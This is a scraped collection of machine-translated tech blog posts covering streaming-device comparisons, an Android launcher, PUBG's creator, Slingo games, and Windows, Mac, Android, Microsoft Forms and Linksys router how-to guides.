interface.\ncontent Chromecast acts as a bridge between a mobile phone or a laptop and a TV. As such, most mainstream applications on both Android and iOS are compatible with Chromecast. Many less popular streaming applications have included this functionality.\nCBS, Google Play, WatchESPN, YouTube, iHeartRadio, Google Play Music, HBO NOW, Hulu, MLB.tv, Netflix, Pandora, Showtime Anytime and Spotify all support this technology.\nIt's easy to see the name Amazon Video is not in this list. Amazon and Google have not found a common voice in the past, however, the lack of Amazon Video support is something that Google needs to overcome in the near future.\nApple TV 4K   Apple TV 4K is the fifth generation of Apple TV products. Apple unveiled the device in September 2017, and the product first came to customers a few months later.\nTechnical specifications With the 6-core Apple A10X Fusion processor, Apple TV 4K offers the most powerful processor in the product line to date.\nUsers can also expect 7.1 surround sound, support Wi-Fi 802.11a / b / g / n / ac networks and Bluetooth 5.0, HDMI 2.0 and infrared receivers. You can choose between 32GB and 64GB models.\nApple TV 4K form is also very beautiful. Like every other Apple product, this device looks very premium. Meanwhile, Roku and Amazon Fire devices have a somewhat cheap look.\nPerhaps most disappointing is that Apple TV 4K only provides 3GB of DRAM memory. Significantly less than other devices on this list. With the 'premium' price offered by this device, users will definitely expect more.\ncontent By the end of 2017, Apple TV had the same problem as Chromecast: Lack of support for Amazon Video.\nHowever, this app has appeared in more than 100 countries, meaning Apple TV now offers apps from all the leading online streaming services.\nOn the other hand, the App Store rigidity means that the availability of 'distinct' online streaming applications is reduced. You can't even download and sideload installation files (install apps from other sources) as easily as you can on Android devices.\nNotably, the integration of Siri is not really popular among third-party applications, and makes it a very unrealistic way to find content.\nRoku Ultra   In mid-2017, Roku simplified its product line into 5 independent devices. Roku Ultra is the top premium model. Among Roku's products, only the Roku Ultra and Roku Streaming Stick + provide 4K resolution.\nTechnical specifications Like Chromecast Ultra, the Roku Ultra offers both wired and wireless connectivity. Wireless connection in the form of MIMO dual band 802.11ac.\nOn the back of the device, you will also find the micro SD card slot so you can expand Ultra's memory and USB port for local playback.\nOther notable features include support for HDR, 'night listening' mode, remote finder when lost, screen projection via Miracast and voice search via the included remote control.\ncontent Roku is a set-top box (device that decodes TV signals and then transfers image and audio data to the TV screen) streaming the best content on the market. But unlike the three biggest competitors - Apple, Google and Amazon - Roku does not offer its own video or music streaming service.\nRoku relies on ensuring that as many applications as possible are available on this platform. Roku has never been involved in a 'retaliatory' fight with other manufacturers.\nInterestingly, Roku recently launched his own ad-supported movie channel. It's a great way to catch up with Hollywood releases if you hate Netflix and other great streaming services.\nRoku also allows you to install separate channels. The company offers a variety of live television and video on demand programs.\nAmazon Fire TV 4K   Amazon has released a completely new Amazon Fire TV 4K by the end of 2017, providing for the first time 4K video support for the product.\nTechnical specifications Amazon Fire can play videos at 2160p (4K), 1080p and 720p resolutions. It is equipped with 4-core ARM Cortex-A53 CPU and Mali-450 GPU. The previous Modele Fire had a Mediatek 8127D CPU, so the new release marked a significant improvement.\nIt supports both wired and wireless connections (802.11 a / b / g / n / ac; 2 × 2 MIMO). Like the Chromecast Ultra, Amazon Fire works with both 2.4GHz and 5GHz wireless bands.\nIt also has 8GB of internal memory and 2GB of RAM, works with Bluetooth 4.2 and LE, can read H.265 (HEVC), H.264 and VP9 video codecs.\ncontent Amazon Fire runs on a heavily modified version of the Android TV operating system. Since it has been modified, it does not support Google Play Services. Therefore, you cannot run any Google suite of applications such as Gmail, Keep or Calendar.\nHowever, the Amazon Appstore offers all major applications, including Netflix, Hulu, Amazon Video and Google Play Movies. You can also play some free games on Fire TV.\nBecause Amazon Fire is an Amazon product, it is also compatible with Alexa. Thus, you can use the device to control your entire smart home.\nWhich device should you buy? It is not easy to identify a clear winner.\nIn terms of content, it's hard to ignore Roku Ultra, especially when you can be confident that the company will not suddenly block access to the application if a dispute occurs.\nMeanwhile, the Chromecast Ultra won, in terms of flexibility, despite the fact that it acts as a bridge between mobile phones and TVs can be both advantages and disadvantages.\nThere's no denying Apple TV 4K is the best looking option among the options on this list, and Amazon Fire TV 4K is the 'most balanced' product between usability and cost.\nAll of these 4K streaming devices are reliable options. Choosing which products depends on what you value most and are willing to accept.\nWish you find a good product!\nSee more:\nHow to use 4K TV as a computer screen What's special about 8K TV? The hottest 8K TV series today The difference between Smart TV and Internet TV What is 4K projector? ncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWTnb%2BwucScmKysXaq5tb7AZpipqJyaerXCjG2iZqqfoMJuwcutqZplkaOxbq3MmrGopl2btrOxjG2i\n","link":"/post/compare-chromecast-ultra-apple-tv-4k-roku-ultra-and-amazon-fire-4k/","section":"post","tags":null,"title":"Compare Chromecast Ultra, Apple TV 4K, Roku Ultra and Amazon Fire 4K"},{"body":"CPL Launcher developed by Amir Zaidi based on the Rootless launcher. CPL Launcher still retains Pixel Launcher's minimalist design, but adds many features that help users to customize the interface more, bringing a pleasant experience to users.\nSome outstanding features of CPL Launcher:\nSupport all necessary customizations including: setting up the main screen, motion animation, app drawer, changing icons, adaptive icons and bright / cool themes. Customize application dock bar with many colors. Support search box or Google icon (record \u0026amp; virtual assistant). Support to change fonts for each part of the application. Full support for Pixel Launcher-like smart actions like double-clicking, press + hold home button, swipe up and down, two fingers swipe up / down, .         CPL Launcher with a simple interface design, smooth operation and many new features promises to become a launcher for a great user experience. In particular, CPL Launcher is completely free, you can access the link below to download and use.\nCPL (Customized Pixel Launcher) See more:\nNiagara Launcher, a small launcher that integrates a beautiful and completely free notification interface Invite to upgrade Apex Launcher Free to Pro version, completely free Invite to download and experience the exciting 7 Android and iOS apps that are newly released ncG1vNJzZmismaXArq3KnmWcp51ksrm8xKugnqaTmnqkvMtmo5qtnpi1pr6MpaCknV2ltrmxy2ajmq2emLWmvoybrK1lp57BqXnMqKmeZZaarrXB0Z6qZpmemXqqwNJmnaudlQ%3D%3D\n","link":"/post/experience-cpl-launcher-like-pixel-launcher-but-with-more-features-and-it-s-free/","section":"post","tags":null,"title":"Experience CPL Launcher, like Pixel Launcher but with more features and it's free"},{"body":"Six years ago, Brendan Greene - the father of PlayerUnknown's Battlegrounds, who now owns hundreds of millions of dollars worth of assets, earns only 300 USD / month thanks to photography.\nIn 2013, after taking his wife, Greene moved to Brazil to live. However, his marriage quickly broke down and in order to buy money to return to his home country in Ireland, Greene had to save money from web design and wedding photography. This makes Greene have to cut down on the cost of his meals, socializing, and playing games that are fun and entertaining.\nWhen he was tired of playing games, Greene discovered the game mod - the term referring to the work of editing the original code (adding weapons, widgets, characters, play styles, storylines .) to create a new version of a game available, usually first-person shooter, role-playing or real-time strategy game.\nAt that time, Greene was a part-time web designer, so he had enough knowledge to modulate the game himself. Greene is inspired by the \"Battle Royale\" - the classic Japanese science fiction film to mod game. In the film, the high school students are abandoned on an island, provided with weapons and must fight to survive.\n  Brendan Greene, the father of great PlayerUnknown's Battlegrounds.\nBy 2014, Greene saved enough money to return to Ireland. Here, Greene struggled to find work, so he moved to live with his parents. He even had to live on unemployment benefits from the government, 180 Euros per week (equivalent to $ 202 based on the current exchange rate). Greene used this money to maintain his online server.\nThe fact that Greene focused on free game mods made his parents worry and wonder if he could make money from this hobby. Responding to his parents' questions, Greene replied that in the future he will create his own game. At that time, his product was only paid attention by the small community of online gamers.\nAfter 6 months living with his parents and receiving unemployment benefits, at the end of 2014, Greene caught the eye of a game developer at Sony Online Entertainment (now Daybreak Game Company) and received an invitation to be an advisor for a game called Sony's H1Z1 within 2 years. The company also agreed to let him use his \"battle royale\" concept in the game. The value of the contract was not disclosed but Greene said he could have a better life and not rely on government subsidies.\nIn 2016, Greene teamed up with the Korean game company Bluehole (now Krafton Game Union) to develop the royale battle game, a popular PUBG game later. After just over half a year of launch, PUBG rocked the PC game market with sales reaching a record 13 million copies, surpassing the \"big man\" Dota 2 in terms of the number of players.\nCurrently, Greene is the Director of special projects at PUBG Corporation. According to statistics, PUBG has now sold more than 50 million copies, the mobile version has reached 200 million downloads.\n  PUBG, the world's favorite game after only a few months of release.\nJust six years after having to live on unemployment benefits, Greene became a millionaire with a wealth of wealth, able to fully support his family and his 13-year-old daughter. And of course, he also has a comfortable life in Amsterdam, the Netherlands. Every morning Greene, cycling to work and traveling regularly to promote his game.\nncG1vNJzZmismaXArq3KnmWcp51ks7O7zGajoq6Zo7Ruu81mrKednaW5sMXMnqWtZZKau6ayyK2qZqyYnsBuxc6upaBlnZa7bq7EnJimnV2ptaZ5xZqroZ2iYrynedOhnGaopZe0bq7IpaOip55itKK5xGaYn6yVp3qwusuyZG9lqZqus78%3D\n","link":"/post/from-living-on-unemployment-benefits-this-young-man-became-the-father-of-the-pubg-billion-game-after-only-6-years/","section":"post","tags":null,"title":"From living on unemployment benefits, this young man became the 'father' of the PUBG billion game after only 6 years."},{"body":"One of the interesting aspects of the diversification of this market has been the appearance of Slingo games, but what are they all about and how do you play them?\n  A Cross Between Bingo and Slots The simplest way to describe Slingo is as a cross between bingo and slots, although this doesn't fully explain everything about them. The screen is set up similarly to a slot machine, with several rows of symbols. However, each space is occupied by a number, as on a bingo card.\nThe connection between slots and Slingo games grows once we look at the themes used, as many of the same themes appear in both. This gives the Slingo versions a vibrant, entertaining look that helps to make them visually appealing.\nAmong this list of online Slingo games, we can see titles such as Red Hot Slingo, Book of Slingo, and Slingo Riches. Each has a unique style that fits a specific theme, such as Starburst Slingo, which is based on the popular slot of the same name and uses several of the symbols seen in that slot. How to Play Slingo With each spin you play, a set of numbers are revealed. If any of them matches your numbers, they are automatically marked off, just as they are in bingo. However, you may also see symbols crop up, and these special characters have effects on the game. For example, they may let you choose which number to cross, or block you from advancing.\nAs with bingo, the goal is to complete a winning line, although in this case, a completed line is called a Slingo and the prize amount increases with each one obtained. To claim the top prize, you need to get a full house by filling in all of the lines on the screen.\nThese are games of chance, although they do provide the opportunity to make some decisions when you get a 'wild'. This symbol can be used anywhere on the line where it lands. You will also be given the chance to carry on playing if you use up all of the normal spins, which can be useful if you feel that you could grab a bigger win by adding to your stake.\nSome of the versions also give you the opportunity to pick a special item to claim a bonus. The variety of different types of Slingo games means that the gameplay is varied in elements like this, although the general aim of the game always remains the same.\n  Who Might It Appeal to? It's easy to imagine that a bingo fan looking for some quick games and an unusual theme might be tempted to give a few Slingo games a try. The two types of games are close enough in style to make switching between easy and satisfying.\nHowever, it could be a good choice for a fan of slot machine games who is looking for something different. They won't have any problem in understanding the game and might like the fact that Slingo gives them a little bit more control over the action than slots do.\nThe Slingo format has proved to be a success, and it seems likely that more versions are added in the future, to increase the number of ways of playing it.\nBingo game Bingo ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mZqucnruou4ygmKado2KxqrLFnqlmnqKkum6%2Fy6irrA%3D%3D\n","link":"/post/how-do-slingo-games-differ-from-slots/","section":"post","tags":null,"title":"How Do Slingo Games Differ from Slots?"},{"body":"  Disconnect the router (router) and modem (modem). Most carriers provide dynamic IP addresses, which often change constantly. By disconnecting the modem for an extended period of time, you will get a new address when you restart the modem.\nYou need to check your current IP address before doing this.\nJust unplug the router and modem's power cord from the power outlet.\n  Turn off your computer's Wi-Fi. This is how to prevent the wireless network from reconnecting to the router when you restart the router. How to turn off Wi-Fi as follows:\nClick the icon in the lower right corner of the screen.\nClick Wi-Fi in the window that appears.\n  Wait 5 minutes. Some carriers will provide a new IP address after about 5 minutes; however, if this doesn't work, you need to disconnect the router overnight (or about 8 hours).\n  Connect the router to a power source. As long as you have another device (such as a phone, game console or other computer) connected to Wi-Fi; otherwise, the router and the second device will have the old IP address.\n  Turn Wi-Fi back on on the computer. Doing this after other devices have connected will change the computer's public IP address.\nYou need to check the IP address again to make sure it has been changed.\n  Contact your network operator. In rare cases, your carrier will give you a static IP address. To change, you need to contact the technical support team directly. Usually you only have one change.\n  Use a proxy network. This will show a different IP address for your connection; Usually, this is the address of another part of the country or the world. Trusted VPNs and proxies often require a monthly fee.\nPrivate IP Refresh address   Open Start. This is the option in the bottom left corner of the screen. If you want to change the IP address to fix connection problems, refreshing the address is easier than changing it manually.\n  Type command prompt into Start. This will help you find the Command Prompt on your computer.\n  Right click on Command Prompt. You will see this option displayed at the top of the Start window.\n  Click Run as administrator . This is the option below the displayed menu.\nIf you are not an administrator on the current computer, you will not have this option and will not be able to refresh the computer's IP address.\n  Click Yes when asked. The Command Prompt window will appear on the screen.\n  Type ipconfig /release and press ↵ Enter. As such, the current IP address will be \"forgotten\".\n  Type ipconfig /renew and press ↵ Enter. This is the action to refresh the IP address. Doing this will fix some connection problems, but won't change the actual IP address of your computer.\nChange the address   Open the Settings app. Click the Start button and select Settings with the gear icon.\n  Select the Network \u0026amp; Internet category .\n  Make sure the Status section is selected. This is the first card in the left pane.\n  Click the \"Change connection properties\" link.\n  Click Edit below \"IP assignment\". Drag the scroll bar down to access this section.\n  Switch to manual IP generation. Click the selection box in the displayed dialog box and select \"Manual\".\n  Turn the IPv4 slider to the on position. You will see several input fields here.\n  Fill in the data input fields. Here's what those fields mean:\nIP address - Usually the device's IP address will be \"192.168.1.X\" (or similar number), with \"X\" being the device's unique number. Replace the value \"X\" with a number between 1 and 100. Make sure you don't use the same IP address as the address of another device on the network (such as your phone). Subnet prefix length - This depends on your IP address, but is usually \"255.255.255.X\". Gateway - This is the router's IP address. Preferred DNS - The DNS address you want (for example, \"208.67.222.222\" for the OpenDNS server, or \"8.8.8.8\" for the Google server). Alternate DNS - Second DNS address (eg \"208.67.220.220\" for OpenDNS servers or \"8.8.4.4\" for Google servers).   Click Save . Your new network settings will be saved and applied.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyip2aZlJm%2Fpr%2FSZqanZaeeu6W71qw%3D\n","link":"/post/how-to-change-ip-address-on-windows/","section":"post","tags":null,"title":"How to Change IP Address on Windows"},{"body":" Animations add eye candy to the clean and modern design experience that Windows 10 provides. Unfortunately, they negatively affect some people and devices. People who need to remain focused on a task or people with certain mental/visual...\nMethod 1of 2:\nDisabling All Animations Through Settings  Open the Settings app. Press the Start button in the lower-left corner of your screen and select the settings gear.[1][2][3] You can also use the keyboard shortcut. Simply press the ⊞ Win+I keyboard keys together.[4][5][6]   Navigate to the Ease of Access category.[7] Turning off animations is considered to be an \"Ease of Access/accessibility\" setting because it helps some people focus better.\n  Select the Other options tab from the left pane. This section is basically a miscellaneous collection of accessibility settings that do not belong in any of the other \"Ease of Access\" subcategories.\n  Toggle the slider under \"Play animations in Windows\" to \"Off\". This will disable all animations.[8][9] The toggle switch should turn white and a black dot should be in the left side of it.[10] This setting is located under the \"Visual options\" header at the top of the page.[11] To re-enable animations, simply slide the slider to \"On\" (right).  Method 2of 2:\nSelectively Disabling Animations Through Control Panel  Open the Control Panel. You can launch it through the search feature by typing control panel and hitting ↵ Enter or selecting the matching result.[12][13] As Microsoft is trying to migrate away from the Control Panel, settings are being moved and added to the Settings app.[14][15][16][17] Many settings including advanced ones are still present in the Control Panel,[18][19] such as the ability to specify which animations you see.     Click or tap the \"System and Security\" header.[20][21] Do not select the links below the header as they will take you to a completely different page. If Control Panel is configured to use the icons view, choose the icon labelled as \"System\"[22] and skip to step #4.   Select the \"System\" header to open the System Properties page.[23][24] You can also select \"View amount of RAM and processor speed\"[25][26] or \"See the name of this computer\"[27] from below the header. Both links will take you to the same destination.\n  Open Advanced system settings. Select \"Advanced system settings\" from the upper part of the left pane. It is the last in the list.[28][29]\n  Go to the Performance Settings. Press the Settings... button under the \"Performance\" section of the window. The button is located under the Advanced tab of the System Properties window.\n  Select the settings you want. It will be under the Visual Effects tab, which the window opens to by default. For complete control, customize which animations (and visual effects) you want to see. Click the radio button next to \"Custom:\". Right below, uncheck the boxes of effects that you would like to disable, and put a check in the boxes of the ones you would like to enable. Animation options are the sentences that start with the following words: animate, fade, and slide.  To enable all animations (and visual effects), click the radio button next to \"Adjust for best appearance\". Note that this might reduce performance on low-power devices. For the best performance, click the radio button next to \"Adjust for best performance\". All animations (and visual effects) will be turned off. To balance performance and appearance, click the radio button night to \"Let Windows choose what's best for my computer\". Windows will automatically enable or disable specific settings to balance good performance and appearance.   Save your changes and exit. Click or tap the gray OK button at the bottom of the Performance Options window to save your new settings and close it. The new settings you chose will apply immediately.\n  Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmmKehnZbBqrvNrGSipl2stq%2BwzrCqZmlg\n","link":"/post/how-to-disable-animations-in-windows-10/","section":"post","tags":null,"title":"How to Disable Animations in Windows 10"},{"body":"How to access Full-Screen Mode on Mac You may not know it, but macOS has supported the ability to run applications in full-screen, borderless mode since the release of Mac OS X 10.7 Lion in 2011. The interface of this feature has changed slightly since since then (especially in 10.11 El Capitan, when Split View was introduced), but it's still basically easy to use. It's important to note that not all apps support full screen mode on Mac.\nThere will be different methods for you to access full screen mode on Mac, but the easiest is to click the green circular button in the upper left corner of the application window. Or you can hover your mouse over the green circle with your cursor and select 'Enter Full Screen' in the small menu that appears.\n  Additionally, many apps let you access full screen mode by choosing View \u0026gt; Enter Full Screen from the menu bar at the top of the screen.\n  There's another cool shortcut: In macOS Big Sur and earlier, pressing Ctrl + Command + F will put you in full screen mode. In macOS Monterey and later, press Fn + F (Function + F). Because the Fn + F shortcut is relatively new, some applications may still only recognize the Ctrl + Command + F shortcut.\nExit full screen mode on Mac Exiting full-screen mode on a Mac is as simple as accessing it. For example, if you are already in full screen mode, move the mouse pointer to the top of the screen and leave it there until the menu bar appears.\nWhen you see the green circle in the upper left corner of the screen, click on it. Or hover over it and select 'Exit Full Screen' in the pop-up menu.\n  You can also choose View \u0026gt; Exit Full Screen in the menu bar, or press Ctrl + Command + F (on Big Sur and later) or Fn + F (on Monterey and later) to exit full screen mode in an app.\nYou can also choose View \u0026gt; Exit Full Screen in the menu bar, or press Ctrl + Command + F (on Big Sur and later) or Fn + F (on Monterey and later) to exit full screen mode.\nWish you always have a good experience with macOS.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2eqbKzecCnm2adqJ7BbrLUpaOsm6Kasq95zKibnmWfo3qiecyamg%3D%3D\n","link":"/post/how-to-enter-and-exit-full-screen-mode-on-a-mac/","section":"post","tags":null,"title":"How to enter and exit full-screen mode on a Mac"},{"body":"If you can't read the text on web pages, you need to enlarge the text. However, not all websites allow font size changes. Fortunately, you can force your web browser to enlarge the font size on certain web pages if needed.\nBoth Chrome and Firefox on Android allow for font size enlargement thanks to the built-in accessibility feature. You can also use accessibility features available on Android to increase the overall font size or enlarge the screen.\nHow to change text size in Safari on iPhone How to enlarge text on iOS and Android devices Tricks to help use Chrome on Android effectively you may not know Turn on Force Zoom in Chrome Google Chrome is the default browser on most Android devices. To turn on zooming in and out in Chrome, open the app on your Android device and then touch the three-dot menu icon at the top right.\n  In the dropdown menu, touch the Settings option.\n  In the Settings menu, scroll down and touch Accessibility to access the accessibility menu of Chrome.\n  Touch Force Enable Zoom to turn it on. You can also adjust the Text Scaling slider to increase the overall size of the text on any web page if desired.\n  With Force Enable Zoom turned on, Chrome will allow you to zoom in on all webpages including those that restrict zooming in and out. To zoom out, use your finger to pinch the screen.\nTurn on Force Zoom in Firefox on Android Firefox is a popular alternative browser on Android, it also allows you to zoom into any web page.\nOpen the Firefox application on your Android device and then touch the three-dot menu icon in the upper right corner.\n  From the dropdown menu, touch Settings to access the Firefox settings menu.\n  From here, touch Accessibility to access the accessibility menu of Firefox.\n  Touch the switch button next to the Always Enable Zoom option to turn it on.\n  When this feature is turned on, you can check the zoom feature on websites that do not allow zooming.\nLike Chrome, you can use your finger to pinch the screen to zoom out.\nIncrease text size and enable screen magnification on Android Android has another accessibility option that makes it easier to read small letters on the web. Screen magnification allows you to increase the size of all text displayed on Android devices. You can also use screen magnification to enlarge any application on the screen.\nThe steps below may vary depending on the device manufacturer and Android version. This tutorial is done on Samsung devices running Android 9 Pie.\nStart by accessing device settings from the app drawer or swiping down on the screen to access the notification frame and touch the gear icon at the top right.\n  On the Android device settings menu, touch Accessibility to access the Android accessibility menu.\n  Increase screen font size You need to enable the display feature in the Accessibility menu to increase the size of text on the screen.\nYour Accessibility menu may vary depending on your device and Android version. On Samsung devices, tap Visibility Enhancements . Users of other Android devices need to touch the Display Size menu.\n  In the Visibility Enhancements menu on Samsung devices, tap the Screen Zoom button. Users of other Android devices can skip this step.\n  Using your finger, move the slider at the bottom of the screen to the right to increase the font size.\n  This will increase the font size on your device, including the text displayed on the web page for the web browser of your choice.\nTurn on screen magnification You can also enable screen magnification instead of the above method. This feature allows you to press a button (or tap three times on the screen) to enlarge any application in use, including the web browser.\nIn the Accessibility menu, Samsung users tap the Visibility Enhancements option. Other Android device users tap Magnification .\nIn the Visibility Enhancements menu, touch Magnification . Users of other Android devices can skip this step.\n  Select Tap Button to Magnify on Samsung devices or Magnify with Shortcut on other Android devices.\nYou can also select the three-tap option if desired.\n  Turn on zooming by three touches or shortcuts by tapping the On button on the corresponding screen.\nYou can also enable both options if you prefer.\n  When screen magnification is on, switch to Android web browser. Touch the accessibility icon in the navigation bar at the bottom or three to touch the screen, depending on the method you've selected.\n  You can then use your finger to move around the zooming screen. Tap three times on your screen or press the accessibility button again to return to normal.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZK2glWKzsLrTZqqispVis7C%2BjLCcm2WglrSmv4yopWaZnpm%2FsLXD\n","link":"/post/how-to-increase-the-font-size-for-web-pages-on-android/","section":"post","tags":null,"title":"How to increase the font size for web pages on Android"},{"body":"By default, Windows will use the index when searching to provide faster search results. The search index only includes the selected user location. These locations can be filtered by file type (file extension), file attributes and file contents to be indexed.\nThe index uses the Windows Search service and runs as the Searchindexer.exe process in the background. The index will automatically run (rebuild) and update changes in selected locations since the last index is run again to increase the accuracy of the search results. By default, index speed is reduced due to user activity. If the computer is idling, then the index speed will return to the maximum speed for indexing faster.\nIf the result received is missing, invalid or incorrect, the index may not be updated. You can run the index yourself to force it to update.\nThis article will show you how to reset and re-run the manual search index for accurate search results in Windows 10.\nYou need to log in as an administrator to run the index again.\nSmall tips to improve Windows Search Indexing Turn off Indexing Service to let the computer run faster How to search all files from the Windows 10 Start menu 1. Rerun the indexing index in Indexing Options Step 1 . Open Control Panel, click on the Indexing Options icon and close the Control Panel.\nStep 2 . Click on the Advanced button.\n  Step 3. On the Index Settings tab, click the Rebuild button under Troubleshooting.\n  Step 4. Click OK to confirm.\n  Step 5 . The index is now running again.\nNote: The re-run of the index may take some time to complete. If necessary, you can click Pause to stop running the index.\n  Step 6 . When done, click Close .\n  2. Rerun the search index using BAT file Note : The .bat file below containing these commands will run the search index again.\nCode:\n@echo off net stop wsearch del \"%ProgramData%MicrosoftSearchDataApplicationsWindowsWindows.edb\" :wsearch net start wsearch IF NOT %ERRORLEVEL%==0 (goto :wsearch) ELSE goto :END :END  Step 1 . Download the .bat file according to the link below.\nhttps://www.tenforums.com/attachments/tutorials/147615d1502120033-rebuild-search-index-windows-10-a-rebuild_search_index.bat  Step 2 . Save the .bat file to the desktop.\nStep 3 . Unblock the .bat file.\nStep 4 . Right-click on the .bat file and click Run as administrator .\nStep 5 . When prompted by UAC, click on Yes to agree.\nStep 6 . The search index will start running again in the background.\n3. Reset and re-run the search index using .bat file Note: The following .bat file containing these commands will reset the indexed location to default and re-run the search index.\nCode:\n@echo off net stop wsearch REG ADD \"HKLMSOFTWAREMicrosoftWindows Search\" /v SetupCompletedSuccessfully /t REG_DWORD /d 0 /f del \"%ProgramData%MicrosoftSearchDataApplicationsWindowsWindows.edb\" :wsearch net start wsearch IF NOT %ERRORLEVEL%==0 (goto :wsearch) ELSE goto :END :END  Step 1 . Download the .bat file according to the link below.\nhttps://www.tenforums.com/attachments/tutorials/147614d1502120033-rebuild-search-index-windows-10-a-reset_and_rebuild_search_index.bat  In the next steps, do the same as from Step 2 to Step 6 in Method 2.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLK1ecCnm2aqlafCr3nToZxmq5WWv6S0jKKlnZ2oYryvedaipZ2np6h6cnw%3D\n","link":"/post/how-to-reset-and-re-run-the-search-index-on-windows-10/","section":"post","tags":null,"title":"How to reset and re-run the search index on Windows 10"},{"body":"Microsoft launched Microsoft Forms in September 2018. It is used to create surveys, polls and puzzles. Compared to Google Forms, Microsoft Forms has a cleaner interface but some hidden features are hard to find. This article will show you how to use Microsoft Forms.\nHow to use Microsoft Forms 1. How to create a form 2. Share and embed the form on the website 3. Branching option 3. Share to cooperate 5. Groups Forms 6. How to add time limits and other customizations 7. Analyze the answer 8. Change theme and template 1. How to create a form When creating a form, Microsoft Forms gives you seven choices:\nMultiple options Text Rating Date Ranking Net Promoter Score   When doing multiple choice questions, Question analysis forms and help you answer. For example, if the question is 'Did you buy .', the Form will display suggestions Yes, No and Perhaps.\n  If the first option is Sad, Forms will suggest you add Happy and Angry as the second and third choices.\n  You just need to select the option and proceed to the next question.\nSimilarly, for questions that need to be answered in writing, you can specify a long or short answer. In addition, you can limit the type of answers by clicking on the three dots menu and selecting Restrictions .\n  Then, choose one of the options from the drop-down list and add the values.\n  For ratings, you can specify levels as well as icons.\n2. Share and embed the form on the website When you complete the form, you can send it to people to collect feedback by clicking on the Share button in the top right corner.\nYou can select objects for your form. If you want to limit the people in your organization, leave the default option. If not, click Only people in my . and select the option Anyone with the link .\n  You can share direct links with specific objects. But the best way is to embed the form in your website or blog. Or better yet, create a QR code for the form and then share it on the blog or add it to the email.\n  3. Branching option By default, Microsoft Forms does not allow you to add conditional questions like Google Forms. This is one of the hidden features of Microsoft Forms.\n  For example, in a question with or without, if the answer is Yes, go to a question 2 and if the answer is No, go to question number 3. To add a condition to the question, after completing it, touch Three dots icon in the upper right corner and select Branching .\n  Next, touch the question you want to add conditions. Now touch the next question from the drop down menu. Note, you need to do this for all questions.\n  To preview your form with conditional logic, just go back and click the preview icon.\n3. Share to cooperate Microsoft Forms adds business features so you can make forms and survey with friends. To share the form with friends or colleagues, tap the Share button at the top and select the Share option from the menu on the right.\nNext, choose the sharing option to work and share links with colleagues. The downside of this feature is that you cannot choose a name to share the form with and someone else to work on later.\n5. Groups Forms Groups is an exclusive Office 365 service that helps you collaborate with people in your team. This feature is not only available on Forms but also a key feature in Office Suite.\nWith Groups Forms, team members can view and edit forms without linking. These forms will be included in the group form.\n6. How to add time limits and other customizations Microsoft Forms seem to lack some features but as mentioned above they are hidden. To add the start and end dates, go to Settings in the three-point menu, select Start Date and End Date , enter the date.\nIn addition, you can delete questions for different people and add the words 'Thank you' at the end of each form. You can also set up receiving email notifications when someone answers the survey by selecting the option in Notifications .\n7. Analyze the answer After submitting the survey and getting the answer, so how to analyze and synthesize? The implementation is very simple, you just need to access the Response tab to see all the answers. Microsoft Forms provides visual images for all answers to make them easier to understand.\n  However, if you want to see all the individual responses, click View results . You will see the respondent's name in the Responder box and their answer below.\n  To see the next answer, click on the arrow icon. You can also download all the answers on the spreadsheet by clicking the Open in Excel button.\n8. Change theme and template What users like about Microsoft Forms is that the interface is clean and not messy. They also like its theme with bright colors that make your form stand out.\nTo select a theme, touch the Theme button at the top. You can also create custom colors for your forms or choose photos from your computer library.\n  For example, if your survey is about gadgets and phones, the background with a utility will be more useful than the background of a person surfing the web.\n  To select the background, click on the plus sign icon and choose one of two options: download photos from your OneDrive account or search the network.\nAlthough Microsoft Forms has a lot of good features and designs, it still lacks certain options such as the ability to download files. In addition, it does not have pre-built templates that users can use without spending a lot of time building structures.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnMopqrp6Oks7V5xaippqs%3D\n","link":"/post/instructions-for-using-microsoft-forms/","section":"post","tags":null,"title":"Instructions for using Microsoft Forms"},{"body":"Ensure that users can maximize bandwidth allocation for their favorite applications and services as one of the many features of the Linksys cloud account.Media Prioritization tool allows you to prioritize streaming devices or applications, with more bandwidth for best use on your home network.\nThis article will guide you to install applications or online games on higher priority bandwidth with cloud accounts.\nNOTE : Make sure the Prioritization button is activated before doing anything else.\n  Higher priority bandwidth settings for games and applications Step 1:\nAccess the cloud account. To create a cloud account, follow these instructions.\nNote before you start: If you create the Linksys cloud account for the first time, you should connect to the wireless network of the Smart Wi-Fi Router, to combine your new account on Linksys Smart Wi-Fi Router .\nB1: Open the browser and enter 'linksyssmartwifi.com' in the Address bar and press ENTER to access the login page.\n  B2: Click the Click here link .\n  \nB3 - Create an account: Enter the required information in the fields provided. Read and accept the End User License Agreement, Terms of Service and Privacy Statement , then click Create My Account . You will receive an email, asking you to activate your account.\n  Selecting Send me information information about Linksys products, services, and special offers is not required.\nIf the page appears to be corrupted (for example, there is no field to import), refresh the page or try using another web browser because there may be an outdated plug-in or add-on.\nB4: Check your inbox in your email. Open a message from Linksys Smart Wi-Fi Mailer.\n  NOTE : If no message is found in the inbox (Inbox), check the Junk or Spam folder (spam). If you have not received or have missed the deletion of the message, request to resend the authentication email.\nB5 - Activate your account: Click the link in the email you received to activate the Linksys cloud account you just created. This will open a new window, taking you to the Linksys Smart Wi-Fi page.\n  B6: You will see the Account is now validated message , after the account is authenticated. Click the here link to login.\n  NOTE: You can also click the Login button in the upper corner of the window.\nB7 - Login: Enter the email address and password of the Linksys cloud account you just created and click Sign In.\n  \nB8 - Router Link: Link the Router to your account by entering the router's admin password in the space provided and click OK.\n  \nNOTE:\nThe router password is set to admin by default. However, if you have changed it, use the current router password instead.\nThe router link can only be performed when you are currently connected to your home network. You cannot associate your account remotely.\nIf you have a number of failed login attempts, this may result in your account being temporarily deactivated. In case you cannot remember your password, you must perform a password reset, then return to log in again.\nYou have now successfully created your Linksys cloud account and linked it to the Linksys Smart Wi-Fi Router. Now you can manage the Linksys Smart Wi-Fi Router with your Linksys cloud account from anywhere, via a web browser or using the Linksys application.\nStep 2:\nClick Media Prioritization.\n  \nStep 3:\nSelect an 